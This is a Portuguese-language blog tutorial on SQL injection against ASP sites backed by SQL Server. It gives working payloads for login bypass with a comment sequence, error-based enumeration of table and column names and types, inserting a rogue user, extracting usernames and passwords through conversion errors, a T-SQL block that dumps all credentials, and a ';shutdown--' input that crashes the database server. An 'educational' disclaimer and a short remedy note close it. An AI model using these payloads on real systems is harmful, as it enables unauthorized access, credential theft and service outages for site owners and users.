Nem só de campos de formulários vive um site. O site também pode passar informações pela linha de endereços. Se você não consegue fazer alguma coisa pelos próprios campos (aqui também usaremos o campo de usuário de um login para fazer as ações), então abra o código fonte da página (aquele com o clique do botão direito do mouse, exibir código fonte), e procure pela linha do Form Action. O que vem depois do Action é a url ou página a ser chamada pelo formulário. Depois, procure nas tags de inputs o campo de entrada do usuário, geralmente denominado name=usuario ou name=user. Feito isso, já temos a nossa ação pela linha de comando, livre das travas impostas pelo formulário, tais como o limite de caracteres ou alguma validação de campo feito em javascript. Dessa forma, invés de preencher o campo usuário no form, você colocaria no endereço uma url desse tipo:
http://www.siteemasp.tld/arquivo.asp?user=comandos em sql
Não se preocupe com os espaços na URL, pois o Internet Explorer é bonzinho e se encarrega de trocar pelos devidos códigos de espaço (%20)
Vamos falar um pouco de teoria
No SQL, o comando de banco de dados é simplesmente uma string com um texto dentro. Esse texto, formado de comandos pré-estipulados, é interpretado pelo SQL e retorna o que foi pedido. Além dos comandos, existe também uma definição de Comentário dentro do SQl, que pra muita gente é algo desconhecido. Da mesma forma que você pode comentar o seu script ou programa, incluindo linhas que dizem pra que serve cada bloco, o SQL também permite, dentro dessa string, um comentário que facilitará o entendimento daquela string quando for lida por outra pessoa. Apesar de quase nunca ser usada na prática, esse caractere de comentário terá uma função extremamente valiosa para nós. Outro caractere que será muito usado e venerado aqui, é o caractere de “faz mais alguma coisa”, que além de executar o primeiro comando, manda executar um segundo comando dentro daquele primeiro. Entenderão o que eu estou dizendo mais na frente.
Só pra ilustrar, o caractere de comentário são dois sinais de menos “–“ e o caractere de nova execução é o ponto-e-vírgula “;”. O caractere asterisco “*” significa todos os campos da tabela.
Finalmente, vamos a prática…
Seria interessante que ao mesmo tempo em que você for lendo, ir também testando em algum site o que será dito adiante. É mais prudente montar um site em asp, com um acesso ao banco de dados em SQL Server próprio, para testar. É sempre válido lembrar que esta matéria é apenas para fins educacionais. J
Você está num site em asp, com acesso por SQL, que usa um campo de login e senha vistos por uma sql desse tipo:
SQL = “Select * from usuarios where username=’” & user & “’ and pass=’” & pass & “’”
A sql é desse tipo, mas você como usuário normal do site não conseguiria saber disso.
No campo de usuário, se você colocar o conteúdo:
Usuário: admin’ –
Senha: xyz
O que irá acontecer é que você irá entrar no site como se fosse o admin (levando em consideração que admin é o usuário real cadastrado no banco de dados como sendo o admin), mesmo sem saber a senha do admin, pois a senha agora será ignorada.
O caractere – - no final do campo especifica pro sql que daquele ponto em diante tudo é comentário, e a string do SQL final ficaria desse tipo:
SQL = “Select * from usuarios where username=’admin’ — ‘ and senha=’xyz’ “
Ou seja, a verificação “ ‘ and senha=…” virou um simples comentário dentro daquela string e não será processada pelo interpretador do sql. Dessa forma, você entrar simplesmente designando o username.
Creio que agora está entendido o uso do caractere de comentário. Vamos seguir em frente.
Caso você não saiba o nome de algum campo da tabela, ou até mesmo não saiba o nome de alguma tabela, podemos usar as mensagens de erro do SQL para poder conhecer mais sobre as tabelas do site. Façamos da seguinte forma no campo de usuário:
Usuário: ’ having 1=1 –
Senha: xyz
O erro dado será parecido com o abaixo:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.CODIGO’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/arquivo.asp, line 94
Agora, você já sabe o nome da tabela (usuarios) e o nome do primeiro campo (código) da consulta na tabela. Como foi usado *, este campo é o primeiro a ser retornado.
Se fosse usada uma string do tipo:
SQL = “select nome, login, senha, nivel, cpf from usuarios where ….”
O que ia ser retornado é usuarios.NOME, pois é o primeiro campo da pesquisa.
Se você agora montar uma outra string dentro do campo nome, irá saber o próximo campo da tabela:
Usuário: ’ group by usuarios.codigo having 1=1 –
Senha: xyz
Isso irá produzir o seguinte erro:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.login’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/arquivo.asp, line 94
Você agora pode ir gerando erros assim até saber todos os campos que serão retornados da string SQL. Basta para isso dividir os campos com vírgula, assim:
Usuário: ’ group by usuarios.codigo, usuarios.login having 1=1 –
Quando você não obter mais nenhuma mensagem de erro, significa que todos os campos já estão validados e constam na string. Nesse ponto, você já saberá todos os campos e a ordem que eles virão.
Agora é interessante saber o tipo de cada campo e, para isso, vamos obrigar o sql a gerar um novo erro:
Usuário: ’ union select sum(login) from usuarios –
O erro aparece como:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/arquivo.asp, line 94
Isso informa que o campo login é do tipo varchar. Mas se por acaso a mensagem de erro vier da forma a seguir, é porque o campo em questão é do tipo numérico.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/arquivo.asp, line 94
Agora que você já sabe o nome da tabela, os nomes dos campos e seus respectivos tipos, vamos ao próximo passo, que é usar o caractere de “faz mais alguma coisa”, o excelentíssimo ponto-e-vírgula.
Usuário: ’ ; insert into usuarios (nome, login, senha, nivel, cpf ) values ( “Geek”, “haxo”, “p4ss”, 1, “12345678900”) –
Preciso explicar!? J Bem, isso faz uma inclusão na tabela usuários de um registro, o qual tem o username sendo haxo e a senha p4ss, o que permitiria a você ser um novo usuário do site, dessa vez devidamente registrado.
Obviamente, isso não se restringe a tabelas de usuários. Serve para qualquer tabela no site, como matérias, enquetes, colunas e até mesmo alguma tabela que guarde dados financeiros como cartões de crédito ou outras coisas.
Uma ténica boa para descobrir o conteúdo dos campos é atribuindo um campo texto a um campo numérico. Por exemplo, vamos supor que o site em um determinado momento, se referencie a uma matéria dentro dele por um código numérico, do tipo idm=432. Daí, podemos descobrir um usuário fazendo o seguinte esquema na URL:
http://www.siteemasp.tld/pagina.asp?idm=(select min(login) from usuarios) –
O erro retornado será assim:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘anderson’ to a column of data type int.
/arquivo.asp, line 94
Ou seja, sabemos que o menor login (na ordem alfabética) é Anderson. Isso acontece dessa forma direta, pois dentro do SQL a comparação de números não pode ter aspas simples, e o campo pode ser comparado com uma nova string sql, desde que entre parênteses.
Agora, podemos também descobrir sua senha, dessa forma:
http://www.siteemasp.tld/pagina.asp?idm=(select senha from usuarios where login=’anderson’) –
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’14quatorze’ to a column of data type int.
/arquivo.asp, line 94
Agora sabemos um usuário e uma senha real do site. Claro que se a senha do Anderson fosse numérica, o que aconteceria era aparecer uma matéria qualquer, mas bastaria pegar o ID da matéria, em algum lugar do código fonte, ou até mesmo na barra de endereços (caso ela mudasse), e saberíamos a senha dele, do mesmo jeito.
Uma outra situação, porém bem mais complexa e avançada, é a criação de SQL Transactions, que nada mais é do que um pequeno script que roda dentro do SQL e retorna uma resposta programada.
A seguinte linha, manda que seja criada uma Transact SQL concatenando todos os usuários e senha da tabela, e retornando em uma mensagem.
Usuário: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+login+’/’+senha from usuarios where login>@ret select @ret as ret into alluser end –
Depois de enviado, isso cria uma tabela chamada alluser com um campo nomeado como ret, que contem um único registro com todos os logins e senhas concatenados.
Para ver o resultado disso, basta executar a url de matérias, dessa vez selecionando esse campo da nova tabela:
http://www.siteemasp.tld/pagina.asp?idm=(select ret from alluser) –
O retorno será alguma coisa desse tipo:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘: atadmin/umasenha user3/abcd anderson/14quatorze’ to a column of data type int.
/arquivo.asp, line 94
Depois de ver os dados da nova tabela, apague-a:
Usuário: ‘; drop table alluser –
Captaram a mensagem? Isto é quase tudo que se pode fazer com o SQL Server, quando mau programado dentro de uma ASP. Existem pessoas que acham que simplesmente limitando o tamanho de um campo dentro do formulário, já estão se prevenindo de selects e outros comandos mais. Imaginemos um campo de usuário limitado em 12 caracteres:
Usuário: ‘;shutdown–
Exatos 12 caracteres. Isso derrubará todo o SQL Server da máquina, atingindo também outros sites que usarem esse servidor. Se limitar em menos, existe a alternativa de fazer direto no endereço da url, como foi mostrado no caso do ID de uma matéria do site.
Existe ainda formas de, por comandos em SQL, executar comandos arbitrários dentro do server que roda o sql server. Você por exemplo, poderia obter o dir de um c: ou até mesmo criar e apagar arquivos dentro da máquina. Mas isso, é um outro assunto. Por hora, tá bom.
Vale lembrar que todas essas situações descritas aqui funcionam em sites com SQL Server. Sites que tem um MDB como banco de dados, os selects funcionarão, mas coisas como SQL Transact e alguns outros comandos peculiares ao SQL Server não irão funcionar.
Você é programador de um site (ou vários) em asp e está perplexo com tudo isso, pois todos os sites que você fez estão vulneráveis a esse erro, e você precisa de uma solução rápida para consertar todos eles? Infelizmente, não existe. Você vai ter que verificar o conteúdo de cada variável, dentro da própria asp, antes de coloca-la dentro de um comando sql. Difícil e penoso? Pois é… quem mandou escolher essa profissão… :) )
more »
© 2013 Igor Tech . WP Theme-junkie converted by BloggerTheme9